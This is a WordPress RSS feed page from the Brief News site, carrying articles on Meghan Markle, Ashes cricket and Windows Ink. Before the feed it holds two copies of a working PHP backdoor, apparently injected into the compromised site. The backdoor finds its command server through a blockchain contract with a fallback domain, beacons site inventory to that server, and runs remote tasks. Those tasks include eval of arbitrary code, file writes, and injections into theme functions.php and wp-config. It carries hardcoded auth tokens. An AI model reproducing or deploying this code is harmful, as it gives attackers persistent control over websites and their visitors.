// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); embraced – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 10 May 2018 08:59:31 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png embraced – Brief News https://briefnews.eu 32 32 EXCLUSIVE: Why Prince Philip and the Queen have embraced Meghan’s feminist views https://briefnews.eu/exclusive-why-prince-philip-and-the-queen-have-embraced-meghans-feminist-views/ https://briefnews.eu/exclusive-why-prince-philip-and-the-queen-have-embraced-meghans-feminist-views/#respond Thu, 10 May 2018 08:59:31 +0000 http://briefnews.eu/exclusive-why-prince-philip-and-the-queen-have-embraced-meghans-feminist-views/

Meghan Markle, 36, is a breath of fresh air for the Royal Family.

The actress is a divorcee, and millionaire in her own right and she is a women’s rights activist.

The actress was set up with Prince Harry on a blind date at trendy Soho members club, and she has rubbed shoulders with the likes of left-wing Prime Minister of Canada Justin Trudeau.

Meghan received praised from the like of Hilary Clinton at 11-years-old for write a letter to Proctor and Gamble after she noticed one of their adverts said: “women all over America are fighting greasy pots and pans.’

Meghan Markle also revealed Prince Harry is a feminist at an event in Wales.

In a recent survey the British public were found to believe that Meghan Markle is more relatable than Kate Middleton. 

One of the reasons for this was noted to be her feminist views.

Will the Prince Philip and the Queen be as accepting of Meghan’s feminist views?

Royal expert and managing editor of Daily Break, Kelly Lynch told Express.co.uk that the couple are likely to embrace Meghan’s beliefs.

She said: “Both the Duke and Her Majesty have always been progressive in their views.”

However, Prince Harry’s late mother Princess Diana may also have paved the way for someone with Meghan’s views to join the Royal Family.

Kelly said: “I also think that Diana’s fierce independence taught them to be more accepting of opinions, views and beliefs, even if they don’t agree with them.”

What is more, Meghan’s charisma may also have helped her to integrate with the royals despite her vocalising her political views.

“There’s also, however, something to be said for Markle’s composure,” Kelly added.

“She might have her own views and opinions, but she expresses them with tact, knowing that she’d never want to embarrass her future husband’s grandparents.

Meghan Markle and Prince William’s body language was recently analysed by a body language expert. 

Judi James claimed Prince William looked awkward around his soon-to-be sister-in-law.

It was claimed that Prince William was ‘furious’ with Meghan Markle  over a schedule with clash. 

What does a body language expert make of the soon-to-be-related Meghan and William’s friendship?

The expert reveals there is a ‘warmth’ between Meghan Markle and Prince William, but that they are very different from Prince Harry and Kate Middleton.

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]]> https://briefnews.eu/exclusive-why-prince-philip-and-the-queen-have-embraced-meghans-feminist-views/feed/ 0 Boony trait Lyon’s embraced to become spiritual leader https://briefnews.eu/boony-trait-lyons-embraced-to-become-spiritual-leader/ https://briefnews.eu/boony-trait-lyons-embraced-to-become-spiritual-leader/#respond Sat, 09 Dec 2017 04:11:08 +0000 http://briefnews.eu/boony-trait-lyons-embraced-to-become-spiritual-leader/ FORMER Australia No 3 David Boon wasn’t allergic to a beer.

He was a spiritual leader in the Aussie team and had the huge honour of singing our song ‘Underneath the Southern Cross I stand’ when we won a Test match or series.

Flashback to December 30, 1994. We are in the ‘dungeon’, our name for the dressing room in the bowels of the great MCG.

We circle the human keg that is Boony, who props himself on a bench and gives a couple of words about all of us.

Then he sings. Shivers go down my spine as we share a cold one and scream at the top of our lungs.

Like this series, we had just gone 2-0 up and The Ashes was as good as over.

The figures from this series tell a significant story about the respective attacks.

The Aussies have taken 40 wickets at an average of 24, England’s has 28 at 39.

For all the chat of short bowling, the Aussie quick cartel has pitched the new ball fuller then England.

Each looks capable of running through the English batting line-up.

Then there is Nathan Lyon. It’s turning into Groundhog Day for the English lefties facing him.

He has Moeen Ali four times, Alastair Cook, Dawid Malan and Mark Stoneman once.

They look a walking wicket when facing him and have to develop a run-scoring plan.

The Brisbane first innings led to some English optimism with the inexperienced trio of Stoneman, Malan and James Vince making 50s.

But the Aussies have now found ways to slow the runs from Stoneman and Malan and have just plain beaten Vince.

It’s time to get Jonny Bairstow up the order.

He looks the most likely English batsman, bar Joe Root, to score a century but is getting left with the tail.

England must turn promising fifties into matchwinning tons, like Australia have.

They have a blueprint of how to hurt the Aussies with their bowling from Adelaide. Bowl it up and get them driving on the up with good fields.

Moeen’s bowling is a big concern. He looks like getting a wicket as often a solar eclipse. If he isn’t dangerous he needs to be tight to build pressure.

If the English can’t score tons and bowl a fuller length at the WACA, Lyon — the current singer of the Aussie anthem — will be loosening up his vocal chords by day three.

This article originally appeared in the Sun and has been republished with permission.

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]]> https://briefnews.eu/boony-trait-lyons-embraced-to-become-spiritual-leader/feed/ 0 How Microsoft embraced ‘messy’ creativity with Windows Ink https://briefnews.eu/how-microsoft-embraced-messy-creativity-with-windows-ink/ https://briefnews.eu/how-microsoft-embraced-messy-creativity-with-windows-ink/#respond Sat, 21 Oct 2017 14:09:00 +0000 http://briefnews.eu/how-microsoft-embraced-messy-creativity-with-windows-ink/

Windows Ink isn’t Microsoft’s first stab at bringing stylus support to PCs — that would be Windows XP Tablet Edition — but it is the company’s most successful. It made stylus support a core part of Windows 10, and it’s a big reason you’re seeing so many computer makers shipping digital pens of their own. While the company’s renewed push into the space with its hybrid Surface tablets seemed baffling at first, it’s ended up looking like a prescient move. It even convinced Apple to compete with the iPad Pro’s Pencil.

With the Surface Pen and Windows Ink, Microsoft found a way to let PC users do something completely new: It gave them a way to break free from the constraints of the keyboard and mouse.

“I think it’s [Windows Ink] the first time that technology has embraced ‘the messy,'” Aaron Woodman, general manager of Windows Marketing, told Engadget. “For me, seeing Pen come to life in a way where you don’t have to go from top to bottom, from left to right, you can create in a way before your thought is really complete. I don’t think there’s a ton of technology that’s really embraced that fluidity.”

He’s got a point. The way we interact with computers hasn’t changed much over the years. If you learned how to use a PC with a keyboard and mouse, you’d have no trouble using a modern machine. The advent of smartphones and tablets, with their capacitive touchscreens, was the biggest change over the past few decades. But what if you want to draw a detailed picture, jot down notes in your own handwriting or write out mathematical equations? You’d turn to one of our earliest writing tools: the stylus.

“We’re embracing that, yes, [stylus support features with Windows Ink] are hardware-driven; yes, they require a platform that has to be broad in reach; and yes, for part of that, you need ecosystem partners,” Woodman said. “That really starts to get people to understand it and see themselves using it in applications like Office. To see that come through in a way that customers don’t feel like they’re jumping over walls, I think it’s really satisfying personally.”

Devindra Hardawar/Engadget

In particular, Woodman credits Microsoft’s close partnership with Wacom, a company best known for its stylus tablets and displays, for the progress with Windows Ink so far. That allowed the two companies to build a sensor that “essentially allows you to go between pen protocols.” For computer makers, that’s helpful since it lets them choose between different pen protocols. Basically, it let Microsoft open up the market for styluses, just like Windows did for PCs decades ago.

Now, Woodman says retailers are selling twice as many pen-capable machines, compared to those that don’t have them. 43 percent of consumers with stylus machines are also using their pens monthly, according to Microsoft’s stats. Given just how well they’re taking off, though, it’s surprising that Microsoft chose to make the Surface Pen an additional $ 100 purchase for the Surface Laptop, Pro and upcoming Book 2.

Windows Ink’s integration with Microsoft Office is a clear example of how stylus support can breathe new life into programs we’ve used for years. In Word and PowerPoint, you can use a stylus to edit documents as if you were marking up paper. And, as you can imagine, having a more natural input mechanism is a big help for OneNote. It’s not only useful for jotting down your thoughts, but you can also use it for recording complex math equations — the sort of thing that would be tough to type out on a keyboard. OneNote can also convert your handwritten equation into something formatted for a computer, and you can then have it evaluate an equation, factor it and graph it.

It was a long road getting here, though. The first “Tablet PCs” powered by Windows XP (like the Compaq on the right) were woefully underpowered, heavy and generally just hard to use. It was difficult enough to get them to do basic Windows tasks, so there wasn’t much chance consumers would spend time with their styluses. There were also some early digital pens available for Windows 8. Really, though, it took the launch of the Surface 2 and Pro 2 for us to really see what a stylus could do in Windows. The Surface Pen was light, responsive and simply felt good to use. Microsoft steadily refined it with future Surface models, giving us better tips and more pressure sensitivity.

Even after the launch of Windows 10, it took over a year for Microsoft to make stylus support truly meaningful with last year’s Anniversary Update. That introduced Windows Ink and its accompanying software, including built-in sticky notes and a sketchpad. More importantly, it also gave Microsoft’s partners more of a reason to bundle styluses with their computers. Apple entered the fray with the iPad Pro’s Pencil in 2015, which is a decent stylus, but is only useful in a few creative apps. And you can forget about seeing it in MacOS anytime soon — Apple is focusing its touchscreen efforts entirely on iOS.

Embracing a new type of computing creativity seems a bit out of character for Microsoft — at least, the pre-Satya Nadella Microsoft. But the timing for the company’s change of heart makes sense. Thanks to faster and more efficient computing hardware, it’s finally turning its stylus ambitions into a reality. And more importantly, consumers and computer makers are finally paying attention.

“On some level, we have a responsibility to solve the challenges customers are facing,” Woodman said. “Now, watching 3D objects in Powerpoint [via the Fall Creator’s Update] is mind boggling. Not because you see it in 3D, but because it saves you infinite steps. I think Pen has the same type of promise. It’s more about just feeling like you have that permission to go beyond the boundaries of how people have defined the products so far.”

